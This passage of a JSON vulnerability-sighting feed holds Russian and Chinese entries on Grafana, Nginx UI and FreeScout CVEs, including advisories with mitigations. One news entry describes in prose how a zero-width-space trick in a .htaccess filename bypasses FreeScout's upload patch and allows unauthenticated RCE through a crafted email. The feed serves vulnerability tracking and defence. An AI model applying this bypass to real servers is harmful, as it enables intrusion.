\u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (WAF) \u0434\u043b\u044f \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0445\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u043e \u00ab\u0431\u0435\u043b\u044b\u043c \u0441\u043f\u0438\u0441\u043a\u0430\u043c\u00bb;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 SIEM-\u0441\u0438\u0441\u0442\u0435\u043c \u0434\u043b\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0447\u0430\u0441\u0442\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (VPN);\n- \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439;\n- \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435/\u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0435\u0442\u0435\u0439 (\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442).\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\nhttps://grafana.com/blog/grafana-security-release-critical-and-high-severity-security-fixes-for-cve-2026-27876-and-cve-2026-27880/", "creation_timestamp": "2026-03-30T14:35:49.000000Z"}, {"uuid": "69fea0e8-be40-4479-83cc-f021bab0c40b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27880", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3042", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 SQL Expressions \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0434\u043b\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0438 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f Grafana \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0432\u0435\u0440\u043d\u044b\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u043a\u043e\u0434\u0430. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432\n\nBDU:2026-04159\nCVE-2026-27876\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u0412 \u0441\u0432\u044f\u0437\u0438 \u0441\u043e \u0441\u043b\u043e\u0436\u0438\u0432\u0448\u0435\u0439\u0441\u044f \u043e\u0431\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u0438 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u043e\u0446\u0435\u043d\u043a\u0438 \u0432\u0441\u0435\u0445 \u0441\u043e\u043f\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0440\u0438\u0441\u043a\u043e\u0432.\n\n\u041a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0438 SQL Expressions;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u044f \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (WAF) \u0434\u043b\u044f \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0445\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u043e \u00ab\u0431\u0435\u043b\u044b\u043c \u0441\u043f\u0438\u0441\u043a\u0430\u043c\u00bb;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 SIEM-\u0441\u0438\u0441\u0442\u0435\u043c \u0434\u043b\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0447\u0430\u0441\u0442\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (VPN);\n- \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439;\n- \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435/\u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0435\u0442\u0435\u0439 (\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442).\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\nhttps://grafana.com/blog/grafana-security-release-critical-and-high-severity-security-fixes-for-cve-2026-27876-and-cve-2026-27880/", "creation_timestamp": "2026-03-30T14:35:49.000000Z"}, {"uuid": "eb4f0f26-ff90-4c59-b8e2-e67b6733afa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "seen", "source": "https://t.me/GithubRedTeam/77990", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27876\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xBlackash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-03-30 14:50:52\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-27876\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-03-30T15:00:06.000000Z"}, {"uuid": "371c0ef8-ca1e-4895-a22e-c6f4c8e07bdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27940", "type": "seen", "source": "https://t.me/GithubRedTeam/77815", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27940\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ngtuonghung\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-03-29 13:34:57\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-03-29T14:00:03.000000Z"}, {"uuid": "89d446a4-16d6-44ec-88b9-41adcfa177ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://t.me/ctinow/246807", "content": "Critical Nginx UI flaw CVE-2026-27944 exposes server backups\nhttps://ift.tt/Hs16oWR", "creation_timestamp": "2026-03-08T19:39:10.000000Z"}, {"uuid": "b6db0fd5-fbb9-4f89-8b52-07020d91f863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27636", "type": "seen", "source": "https://t.me/true_secator/7962", "content": "Ox Security \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 FreeScout, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0434\u043b\u044f \u0441\u043b\u0443\u0436\u0431 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0438 \u043e\u0431\u0449\u0438\u0445 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u044f\u0449\u0438\u043a\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430 (RCE) \u0431\u0435\u0437 \u043a\u043b\u0438\u043a\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-28289 (CVSS 10/10) \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0431\u0445\u043e\u0434\u043d\u043e\u0439 \u043f\u0443\u0442\u044c \u0434\u043b\u044f CVE-2026-27636, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u041f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0444\u0430\u0439\u043b\u0430 .htaccess \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u043d\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0444\u0430\u0439\u043b .htaccess, \u0432\u043c\u0435\u0448\u0430\u0442\u044c\u0441\u044f \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0444\u0430\u0439\u043b\u0430 \u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c RCE.\n\n\u041f\u0430\u0442\u0447 \u0434\u043b\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE,\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 Ox Security, \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u043e\u0439\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0438\u043c\u0432\u043e\u043b \u043f\u0440\u043e\u0431\u0435\u043b\u0430 \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0448\u0438\u0440\u0438\u043d\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435\u0432\u0438\u0434\u0438\u043c \u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043d\u0430 \u0442\u043e\u0447\u043a\u0443, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u043d\u0430 \u0434\u0438\u0441\u043a \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0435 \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430 .htaccess.\n\n\u041f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 FreeScout, CVE-2026-28289 - \u044d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f (TOCTOU) \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u0438\u043c\u0435\u043d \u0444\u0430\u0439\u043b\u043e\u0432, \u00ab\u0433\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0435\u0444\u0438\u043a\u0441\u0430 \u0442\u043e\u0447\u043a\u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u044b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b\u00bb.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 CVE-2026-27636 \u0431\u044b\u043b\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u043d\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0443 \u0438\u043c\u0435\u043d \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u043c\u0438 \u0438\u043b\u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u0441 \u0442\u043e\u0447\u043a\u0438 (\u00ab.\u00bb) \u043f\u0443\u0442\u0435\u043c \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u043d\u0438\u044f \u043a \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044e \u0444\u0430\u0439\u043b\u0430.\n\n\u0414\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u043a \u0438\u043c\u0435\u043d\u0438 \u0444\u0430\u0439\u043b\u0430 \u0441\u0438\u043c\u0432\u043e\u043b \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0448\u0438\u0440\u0438\u043d\u044b (Unicode U+200B). \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044d\u0442\u043e\u0442 \u0441\u0438\u043c\u0432\u043e\u043b \u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0432\u0438\u0434\u0438\u043c\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435, \u043e\u043d\u043e \u043e\u0431\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443, \u0441\u0438\u043c\u0432\u043e\u043b U+200B \u0443\u0434\u0430\u043b\u044f\u0435\u0442\u0441\u044f, \u0438 \u0444\u0430\u0439\u043b \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u0442\u043e\u0447\u0435\u0447\u043d\u044b\u0439 \u0444\u0430\u0439\u043b.\n\n\u0410\u0442\u0430\u043a\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0433\u043e \u043f\u0438\u0441\u044c\u043c\u0430 \u0441 \u043b\u044e\u0431\u043e\u0433\u043e \u0430\u0434\u0440\u0435\u0441\u0430 \u043d\u0430 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0439 \u044f\u0449\u0438\u043a, \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0432 FreeScout.\n\n\u0412\u0430\u0436\u043d\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u041f\u041e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0434\u0438\u0441\u043a \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 FreeScout, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 Ox Security, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0433\u0434\u0435 \u0444\u0430\u0439\u043b \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d \u043d\u0430 \u0434\u0438\u0441\u043a\u0435, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0435\u043c\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u043a\u043e\u0434\u0443 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 